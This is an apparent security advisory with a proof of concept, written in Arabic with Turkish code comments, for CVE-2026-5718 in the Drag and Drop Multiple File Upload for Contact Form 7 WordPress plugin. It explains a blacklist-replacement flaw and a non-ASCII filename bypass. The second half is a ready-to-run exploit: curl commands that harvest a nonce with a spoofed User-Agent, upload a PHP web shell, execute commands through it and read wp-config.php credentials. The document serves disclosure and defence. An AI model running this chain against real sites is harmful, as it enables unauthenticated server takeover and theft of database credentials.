
CVE-2026-5718: رفع ملف غير مصادق عليه إلى RCE في إضافة DnD Upload CF7
CVE-2026-5718: رفع ملفات غير مصادَق عليه يؤدي إلى RCE في ملحق DnD Upload CF7
الملحق: Drag and Drop Multiple File Upload for Contact Form 7 Slug الملحق:
drag-and-drop-multiple-file-upload-contact-form-7معرف CVE: CVE-2026-5718 درجة CVSS: 8.1 (عالية) متجه CVSS:CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:Hنوع الثغرة: رفع ملفات عشوائي غير مصادَق عليه → تنفيذ أوامر عن بُعد (RCE) الإصدارات المتأثرة: <= 1.3.9.6 الإصدار المُصَلَّح: 1.3.9.7 تاريخ النشر: 17 أبريل 2026 الباحث: Leonid Semenenko (lsemenenko) — Wordfence
في ملحق Drag and Drop Multiple File Upload for Contact Form 7، يتضافر خطآن منطقيان مستقلان لتمكين المهاجمين غير المصادَقين من رفع قشرة ويب PHP.
تدمير القائمة السوداء: يؤدي تكوين القائمة السوداء المخصص إلى
استبدال قائمة الامتدادات الخطيرة الافتراضية بالكامل بدلاً من دمجها.
لم يعد php محظورًا.
تجاوز عبر غير ASCII: وجود حرف غير ASCII في اسم الملف
يمنع استدعاء الدالة wpcf7_antiscript_file_name().
يبقى امتداد .php محفوظًا ويُكتب الملف على القرص.
| الحقل | القيمة |
|---|---|
| اسم الملحق | Drag and Drop Multiple File Upload for CF7 |
| معرف CVE | CVE-2026-5718 |
| درجة CVSS | 8.1 (عالية) |
| نوع الثغرة | رفع ملفات عشوائي غير مصادَق عليه |
| الإصدار المتأثر | <= 1.3.9.6 |
| الإصدار المُصَلَّح | 1.3.9.7 |
| الشرط المسبق | تكوين مخصص blacklist-types في نموذج CF7 |
// inc/dnd-upload-cf7.php — lines 62–71
function dnd_wpcf7_nonce_check() {
// Tek koruma: User-Agent'ta 'curl' kontrolü — kolayca atlatılır
if ( strpos( $_SERVER['HTTP_USER_AGENT'], 'curl' ) !== false ) {
wp_send_json_error('Request blocked: cURL access is forbidden.');
}
if( ! check_ajax_referer( 'dnd-cf7-security-nonce', false, false ) ){
// Geçersiz nonce → YENİ NONCE DÖNDÜRÜR
wp_send_json_success( wp_create_nonce( "dnd-cf7-security-nonce" ) );
}
}
إجراء wp_ajax_nopriv__wpcf7_check_nonce متاح للعموم دون مصادقة.
عند إرسال nonce غير صالح، يُمنح nonce جديد مجانًا.
يمكن تجاوز فحص curl باستخدام وكيل مستخدم (User-Agent) من Mozilla.
// inc/dnd-upload-cf7.php — lines 883–886
$blacklist_types = dnd_cf7_not_allowed_ext();
// ↑ ~80 tehlikeli uzantı: php, php3, php4, pht, phtml, phar...
if ( isset( $blacklist["$cf7_upload_name"] ) && ! empty( $blacklist["$cf7_upload_name"] ) ) {
$blacklist_types = explode( '|', $blacklist["$cf7_upload_name"] );
// ↑ ASSIGNMENT (=) — MERGE DEĞİL
// Özel liste: sadece ['zip']
// 'php' artık listede YOK → kabul edilir
}
إعداد وسم النموذج المُشغِّل:
[mfile upload-file filetypes="*" blacklist-types:zip]
يريد المسؤول حظر ZIP ← يحذف الملحق قائمة الحظر الافتراضية بالكامل.
أصبحت جميع الامتدادات الخطيرة، بما في ذلك php، مقبولة الآن.
كما أن القائمة الثابتة في الكود (hardcoded) الخاصة بـ filetypes="*" ناقصة:
// line 927 — 'php', 'php3', 'php4', 'pht', 'phtml' EKSİK
$not_allowed_ext = array( 'phar', 'svg', 'php5', 'php7', 'php8' );
// inc/dnd-upload-cf7.php — lines 969–972
$ascii_name = dnd_cf7_remove_icons( $filename );
if ( dnd_cf7_check_ascii( $ascii_name ) ) {
// Sadece pure-ASCII dosya adları için çağrılır
$filename = wpcf7_antiscript_file_name( $ascii_name );
// ↑ shell.php → shell.php.txt yapardı — ama atlanıyor
}
// Non-ASCII karakter varsa bu blok ATLANIR
// $filename = "shellシ.php" → .php uzantısı korunur
// dnd_cf7_check_ascii() — lines 1029–1041
function dnd_cf7_check_ascii( $string ) {
$string = sanitize_file_name( $string );
// ↑ Sadece lokal kopya değişir, dış $filename ETKİLENMEZ
if ( mb_check_encoding( $string, 'ASCII' ) ) {
return true;
}
return false; // Non-ASCII karakter → false → antiscript atlanır
}
┌─────────────────────────────────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=_wpcf7_check_nonce │
│ User-Agent: Mozilla/5.0 (curl değil) │
│ │ │
│ ▼ │
│ {"success":true,"data":"abc123def456"} │
│ → Nonce ücretsiz alındı │
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ POST /wp-admin/admin-ajax.php?action=dnd_codedropz_upload │
│ security=abc123def456 │
│ upload-file=shellシ.php (Content-Type: application/x-php) │
│ │ │
│ ├── Nonce geçerli ✓ │
│ ├── blacklist=['zip'] → 'php' engellenmez ✓ │
│ ├── dnd_cf7_check_ascii("shellシ.php") = false │
│ ├── wpcf7_antiscript_file_name() ATLANIR ✓ │
│ └── move_uploaded_file("shellシ.php") → Diske yazıldı│
└──────────────────────────┬──────────────────────────────────┘
│
┌──────────────────────────▼──────────────────────────────────┐
│ GET /wp-content/uploads/wp_dndcf7_uploads/ │
│ wpcf7-files/<uuid>/shell%E3%82%B7.php?cmd=id │
│ │ │
│ ▼ │
│ uid=33(www-data) gid=33(www-data) groups=33(www-data) │
│ → Unauthenticated RCE ✓ │
└─────────────────────────────────────────────────────────────┘
⚠️ إخلاء مسؤولية: يُقدَّم إثبات المفهوم هذا لأغراض البحث الأمني التعليمي والدفاعي فقط. استخدمه فقط على الأنظمة التي تملكها أو التي لديك إذن كتابي صريح لاختبارها.
الشرط المسبق:
[mfile] مع blacklist-types:
[mfile upload-file filetypes="*" blacklist-types:zip]
TARGET="https://target.example.com"
NONCE=$(curl -s -X POST \
"$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
--data "action=_wpcf7_check_nonce" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data'])")
echo "Nonce: $NONCE"
الاستجابة المتوقعة:
{"success": true, "data": "abc123def456"}
# 'シ' (U+30B7 Katakana) → dnd_cf7_check_ascii() = false
SHELL_FILENAME="shellシ.php"
echo '<?php system($_GET["cmd"]); ?>' > "/tmp/${SHELL_FILENAME}"
FORM_ID=1
FIELD_NAME="upload-file"
SESSION_FOLDER=$(uuidgen | tr '[:upper:]' '[:lower:]' | tr -d '-')
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-H "User-Agent: Mozilla/5.0 (X11; Linux x86_64)" \
-F "action=dnd_codedropz_upload" \
-F "security=${NONCE}" \
-F "form_id=${FORM_ID}" \
-F "upload_name=${FIELD_NAME}" \
-F "upload_folder=${SESSION_FOLDER}" \
-F "upload-file=@/tmp/${SHELL_FILENAME};type=application/x-php"
الاستجابة المتوقعة:
{
"success": true,
"data": {
"path": "<session-folder-uuid>",
"file": "shellシ.php"
}
}
UPLOAD_PATH="<path-from-response>"
SHELL_URL="$TARGET/wp-content/uploads/wp_dndcf7_uploads/wpcf7-files/${UPLOAD_PATH}/shell%E3%82%B7.php"
echo "Shell URL: $SHELL_URL"
# id komutu
curl -s "${SHELL_URL}?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
# wp-config.php oku
curl -s "${SHELL_URL}?cmd=cat+/var/www/html/wp-config.php"